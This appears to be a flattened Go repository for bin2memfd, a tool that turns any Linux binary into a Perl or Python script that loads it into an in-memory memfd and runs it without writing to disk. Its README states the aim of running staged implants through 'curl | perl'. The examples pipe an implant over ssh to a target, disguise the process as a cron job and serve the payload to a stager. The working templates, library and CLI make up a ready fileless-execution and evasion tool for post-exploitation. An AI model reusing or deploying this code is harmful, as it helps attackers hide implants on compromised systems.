├── .gitignore ├── go.mod ├── cmd └── bin2memfd │ ├── README.md │ └── bin2memfd.go ├── template.py ├── template.pl ├── README.md ├── encode.go ├── LICENSE ├── bin2memfd_test.go ├── encode_test.go └── bin2memfd.go /.gitignore: -------------------------------------------------------------------------------- 1 | .*.swp 2 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/magisterquis/bin2memfd 2 | 3 | go 1.18 4 | -------------------------------------------------------------------------------- /cmd/bin2memfd/README.md: -------------------------------------------------------------------------------- 1 | Bin2MemFD 2 | ========= 3 | Standalone wrapper for the [bin2memfd library](../../). 4 | 5 | Quickstart 6 | ---------- 7 | ```sh 8 | go install github.com/magisterquis/bin2memfd/cmd/bin2memfd 9 | bin2memfd -prog ./implant ucron | ssh target perl 10 | ``` 11 | -------------------------------------------------------------------------------- /template.py: -------------------------------------------------------------------------------- 1 | "python3" 2 | import ctypes,os 3 | f = os.fdopen(ctypes.CDLL("libc.so.6").memfd_create("{{.Name}}",0),mode="wb",buffering=0) 4 | {{range .File}}f.write(b"{{.}}") 5 | {{end}}f.flush() 6 | os.execl("/proc/%d/fd/%d"%(os.getpid(),f.fileno()){{if eq 0 (len .Args)}},"/proc/%d/fd/%d"%(os.getpid(),f.fileno()){{else}}{{range .Args}},b"{{.}}"{{end}}{{end}}) 7 | 8 | -------------------------------------------------------------------------------- /template.pl: -------------------------------------------------------------------------------- 1 | "perl"; 2 | $a=`uname -m`;chomp$a;$s={"x86_64"=>319}->{$a} or die "unknown arch $a"; 3 | $n=syscall(319,my$a="{{.Name}}",0) or die"s:$!"; 4 | open(F,">&=$n") or die"o:$!"; 5 | select F;$|=1; 6 | {{range .File}}print "{{.}}"; 7 | {{end}}{{if eq 0 (len .Args)}}exec "/proc/$$/fd/$n" or die"e:$!";{{else}}my@a=({{range .Args}}"{{.}}",{{end}}); 8 | exec{"/proc/$$/fd/$n"}@a or die"e:$!";{{end}} 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Bin2MemFD 2 | ========= 3 | Encodes a program (which can be a script, despite the name) to a Perl or Python 4 | script which sticks it in a Linux memfd and runs it. The goal is to enable 5 | staged implants to be run with `curl | perl`, or something similar. 6 | 7 | The perl version only works on 64-bit Intel linux (i.e. `uname -m` returns 8 | `x86_64`, but updating [`template.pl`](./template.pl) to accomodate other 9 | architectures is very easy. Pull requests welcome. 10 | 11 | Example 12 | ------- 13 | ```go 14 | b := slurpImplant() 15 | e, err := bin2memfd.Encoder{ 16 | Args: []string{"cron", "hourly-cleanup"}, 17 | Name: "cron-tmp48240", 18 | }.Perl(b) 19 | if nil != err { 20 | log.Fatalf("Perlizing: %s", err) 21 | } 22 | serveToStager(e) 23 | ``` 24 | 25 | Standalone Program 26 | ------------------ 27 | A standalone program to encode programs is included in 28 | [cmd/bin2memfd](./cmd/bin2memfd). 29 | -------------------------------------------------------------------------------- /encode.go: -------------------------------------------------------------------------------- 1 | package bin2memfd 2 | 3 | /* 4 | * sanitize.go 5 | * Perl-specific code 6 | * By J. Stuart McMurray 7 | * Created 20220522 8 | * Last Modified 20220522 9 | */ 10 | 11 | import ( 12 | "fmt" 13 | "strings" 14 | ) 15 | 16 | /* stringChunkLen is the number of bytes to put in a string returned by 17 | encodeToStrings. */ 18 | const stringChunkLen = 32 19 | 20 | /* sanitize sanitizes a string to something all languages can handle. */ 21 | func sanitize(s string) string { 22 | var sb strings.Builder 23 | for _, v := range []byte(s) { 24 | if strings.ContainsRune(`@$\"`, rune(v)) || 25 | v < ' ' || '~' < v { 26 | fmt.Fprintf(&sb, "\\x%02x", v) 27 | continue 28 | } 29 | sb.WriteByte(v) 30 | } 31 | return sb.String() 32 | } 33 | 34 | /* encodeToStrings encodes the bytes in b to chunks encoded in escaped string 35 | format. */ 36 | func encodeToStrings(b []byte) []string { 37 | ss := make([]string, 0, len(b)/stringChunkLen+1) /* Close enough. */ 38 | /* Grab each chunk and encode it. */ 39 | for i := 0; i < len(b); i += stringChunkLen { 40 | /* Get hold of a chunk of b. */ 41 | end := i + 32 42 | if len(b) < end { 43 | end = len(b) 44 | } 45 | ss = append(ss, sanitize(string(b[i:end]))) 46 | } 47 | return ss 48 | } 49 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2022, J. Stuart McMurray 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * Neither the name of the the copyright holder nor the 12 | names of its contributors may be used to endorse or promote products 13 | derived from this software without specific prior written permission. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 16 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL J. STUART McMURRAY BE LIABLE FOR ANY 19 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 20 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 21 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 22 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 24 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | -------------------------------------------------------------------------------- /bin2memfd_test.go: -------------------------------------------------------------------------------- 1 | package bin2memfd 2 | 3 | /* 4 | * perl_test.go 5 | * Perl-specific code tests 6 | * By J. Stuart McMurray 7 | * Created 20220522 8 | * Last Modified 20220522 9 | */ 10 | 11 | import "testing" 12 | 13 | func TestEncoderPerl(t *testing.T) { 14 | for _, c := range []struct { 15 | Args []string 16 | Have string 17 | Want string 18 | }{{ 19 | Have: "abc\n123", 20 | Want: "\"perl\";\n$a=`uname -m`;chomp$a;$s={\"x86_64\"=>319}->{$a} or die \"unknown arch $a\";\n$n=syscall(319,my$a=\"\",0) or die\"s:$!\";\nopen(F,\">&=$n\") or die\"o:$!\";\nselect F;$|=1;\nprint \"abc\\x0a123\";\nexec \"/proc/$$/fd/$n\" or die\"e:$!\";\n", 21 | }, { 22 | Args: []string{"foo", "bar", "trid\nge$x\\n"}, 23 | Have: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 24 | Want: "\"perl\";\n$a=`uname -m`;chomp$a;$s={\"x86_64\"=>319}->{$a} or die \"unknown arch $a\";\n$n=syscall(319,my$a=\"\",0) or die\"s:$!\";\nopen(F,\">&=$n\") or die\"o:$!\";\nselect F;$|=1;\nprint \"abcdefghijklmnopqrstuvwxyzABCDEF\";\nprint \"GHIJKLMNOPQRSTUVWXYZ\";\nmy@a=(\"foo\",\"bar\",\"trid\\x0age\\x24x\\x5cn\",);\nexec{\"/proc/$$/fd/$n\"}@a or die\"e:$!\";\n", 25 | }} { 26 | got, err := Encoder{Args: c.Args}.Perl([]byte(c.Have)) 27 | if nil != err { 28 | t.Errorf( 29 | "Perl\n\targs:%q\n\thave:%q\n\terr:%s", 30 | c.Args, 31 | c.Have, 32 | err, 33 | ) 34 | continue 35 | } 36 | if string(got) == c.Want { 37 | continue 38 | } 39 | t.Errorf( 40 | "Perl\n\targs:%q\n\thave:%q\n\t got:%q\n\twant:%q", 41 | c.Args, 42 | c.Have, 43 | got, 44 | c.Want, 45 | ) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /encode_test.go: -------------------------------------------------------------------------------- 1 | package bin2memfd 2 | 3 | /* 4 | * perl_test.go 5 | * Perl-specific code tests 6 | * By J. Stuart McMurray 7 | * Created 20220521 8 | * Last Modified 20220522 9 | */ 10 | 11 | import ( 12 | "reflect" 13 | "testing" 14 | ) 15 | 16 | func TestEncodeToStrings(t *testing.T) { 17 | for _, c := range []struct { 18 | Have string 19 | Want []string 20 | }{{ 21 | Have: "foo", 22 | Want: []string{ 23 | "foo", 24 | }, 25 | }, { 26 | Have: string([]byte{ 27 | 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 28 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 30 | 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 31 | 0x80, 0xcf, 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 33 | 0x00, 0x00, 0x00, 0x00, 0x18, 0xfd, 34 | 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 35 | }), 36 | Want: []string{ 37 | "\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00>\\x00\\x01\\x00\\x00\\x00\\x80\\xcf\\x00\\x00\\x00\\x00\\x00\\x00", 38 | "\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\xfd\\x04\\x00\\x00\\x00\\x00\\x00", 39 | }, 40 | }} { 41 | got := encodeToStrings([]byte(c.Have)) 42 | if reflect.DeepEqual(got, c.Want) { 43 | continue 44 | } 45 | t.Errorf( 46 | "encodeToStrings\n\thave:%q\n\t got:%#v\n\twant:%#v", 47 | c.Have, 48 | got, 49 | c.Want, 50 | ) 51 | } 52 | } 53 | 54 | func TestSanitize(t *testing.T) { 55 | for _, c := range []struct { 56 | Have string 57 | Want string 58 | }{{ 59 | Have: "abc123", 60 | Want: "abc123", 61 | }, { 62 | Have: "abc123@$%\n", 63 | Want: "abc123\\x40\\x24%\\x0a", 64 | }, { 65 | Have: `foo"bar`, 66 | Want: "foo\\x22bar", 67 | }} { 68 | got := sanitize(c.Have) 69 | if c.Want == got { 70 | continue 71 | } 72 | t.Errorf( 73 | "sanitize have:%q got:%q want:%q", 74 | c.Have, 75 | got, 76 | c.Want, 77 | ) 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /cmd/bin2memfd/bin2memfd.go: -------------------------------------------------------------------------------- 1 | // Program bin2memfd turns a program into a script which will run it in a 2 | // memfd. 3 | package main 4 | 5 | /* 6 | * bin2memfd.go 7 | * Run a program in a memfd 8 | * By J. stuart McMurray 9 | * Created 20220521 10 | * Last Modified 20220522 11 | */ 12 | 13 | import ( 14 | "flag" 15 | "fmt" 16 | "io" 17 | "log" 18 | "os" 19 | 20 | "github.com/magisterquis/bin2memfd" 21 | ) 22 | 23 | func main() { 24 | var ( 25 | progF = flag.String( 26 | "prog", 27 | "", 28 | "Program file to encode, or stdin if not specified", 29 | ) 30 | name = flag.String( 31 | "name", 32 | "", 33 | "Memfd symlink target `name`", 34 | ) 35 | lang = flag.String( 36 | "language", 37 | "perl", 38 | "Generated script `language`", 39 | ) 40 | ) 41 | flag.Usage = func() { 42 | fmt.Fprintf( 43 | os.Stderr, 44 | `Usage: %s [options] [arg [arg...]] 45 | 46 | Encodes the program to a script which, which executed, places the program in 47 | a memfd. If no program is specified, it is read from stdin. If arguments 48 | are specified, they will be used as the program's argv, starting with argv[0]. 49 | 50 | This can be used something like 51 | 52 | %s ./implant nmap -A -v -n -p- 10.0.0.0/16 | ssh target perl 53 | 54 | The currently-supported -language options are perl and python. 55 | 56 | Options: 57 | `, 58 | os.Args[0], 59 | os.Args[0], 60 | ) 61 | flag.PrintDefaults() 62 | } 63 | flag.Parse() 64 | 65 | /* Add the name and args, if we have them. */ 66 | var enc bin2memfd.Encoder 67 | if 0 < flag.NArg() { 68 | enc.Args = flag.Args() 69 | } 70 | if "" != *name { 71 | enc.Name = *name 72 | } 73 | 74 | /* Work out which language to use. */ 75 | var encf func([]byte) ([]byte, error) 76 | switch *lang { 77 | case "python": 78 | encf = enc.Python 79 | case "perl": 80 | fallthrough 81 | default: 82 | encf = enc.Perl 83 | } 84 | 85 | /* Open the script or program. */ 86 | var f *os.File 87 | if "" != *progF { 88 | var err error 89 | f, err = os.Open(*progF) 90 | if nil != err { 91 | log.Fatalf("Error opening %q: %s", *progF, err) 92 | } 93 | } else { 94 | f = os.Stdin 95 | } 96 | prog, err := io.ReadAll(f) 97 | if nil != err { 98 | log.Fatalf("Reading in program: %s", err) 99 | } 100 | 101 | /* Encode the program and spit it out. */ 102 | s, err := encf(prog) 103 | if nil != err { 104 | log.Fatalf("Encoding program: %s", err) 105 | } 106 | if _, err := os.Stdout.Write(s); nil != err { 107 | log.Fatalf("Writing program: %s", err) 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /bin2memfd.go: -------------------------------------------------------------------------------- 1 | // Package bin2memfd converts a Linux binary into a program which loads the 2 | // binary into a memfd and runs it. 3 | package bin2memfd 4 | 5 | /* 6 | * bin2memfd.go 7 | * Convert a program to a script which runs the program from a memfd. 8 | * By J. Stuart McMurray 9 | * Created 20220521 10 | * Last Modified 20220522 11 | */ 12 | 13 | import ( 14 | "bytes" 15 | "embed" 16 | "fmt" 17 | "text/template" 18 | ) 19 | 20 | /* Program templates. */ 21 | var ( 22 | //go:embed template.pl template.py 23 | tfs embed.FS 24 | tmpl *template.Template 25 | ) 26 | 27 | func init() { 28 | var err error 29 | tmpl, err = template.ParseFS(tfs, "*") 30 | if nil != err { 31 | panic(fmt.Sprintf("failed to init templates: %s", err)) 32 | } 33 | } 34 | 35 | /* tArgs holds the arguments we pass to a template. */ 36 | type tArgs struct { 37 | Args []string /* Argv */ 38 | File []string /* Contents of file to encode. */ 39 | Name string /* memfd name. */ 40 | } 41 | 42 | // DefaultEncoder is the Encoder used by package-level functions. 43 | var DefaultEncoder = Encoder{} 44 | 45 | // Perl encodes the program read from r to a Perl script which loads it into 46 | // a memfd and runs it. It uses DefaultEncoder for settings. 47 | func Perl(b []byte) ([]byte, error) { 48 | return DefaultEncoder.Perl(b) 49 | } 50 | 51 | // Python encodes the program read from r to a Python script which loads it 52 | // into a memfd and runs it. It uses DefaultEncoder for settings. 53 | func Python(b []byte) ([]byte, error) { 54 | return DefaultEncoder.Python(b) 55 | } 56 | 57 | // Encoder is used to tune how a binary is encoded. Encoder's fields must not 58 | // be modified while any of encoder's methods are being called, though multiple 59 | // methods may be called at once. 60 | type Encoder struct { 61 | // Args is the executed program's argv. If it is empty, the program's 62 | // argv[0] will be the path to the memfd and no other arguments will 63 | // be passed. 64 | Args []string 65 | 66 | // Name is the name passed to memfd_create. This is the name visible 67 | // in the memfd's link target. 68 | Name string 69 | } 70 | 71 | /* execute executes the template with the given name. */ 72 | func (e Encoder) execute(name string, file []byte) ([]byte, error) { 73 | /* Roll sanitized arguments. */ 74 | args := tArgs{ 75 | Args: make([]string, len(e.Args)), 76 | File: encodeToStrings(file), 77 | Name: sanitize(e.Name), 78 | } 79 | for i, v := range e.Args { 80 | args.Args[i] = sanitize(v) 81 | } 82 | 83 | /* Encode with a template. */ 84 | var buf bytes.Buffer 85 | err := tmpl.ExecuteTemplate(&buf, name, args) 86 | return buf.Bytes(), err 87 | } 88 | 89 | // Perl encodes the program read from r to a Perl script which loads it into 90 | // a memfd and runs it. Currently this is only supported on amd64; adding 91 | // other architectures is a very simple addition to template.pl. 92 | func (e Encoder) Perl(b []byte) ([]byte, error) { 93 | return e.execute("template.pl", b) 94 | } 95 | 96 | // Python encodes the program read from r to a Python script which loads it 97 | // into a memfd and runs it. 98 | func (e Encoder) Python(b []byte) ([]byte, error) { 99 | return e.execute("template.py", b) 100 | } 101 | --------------------------------------------------------------------------------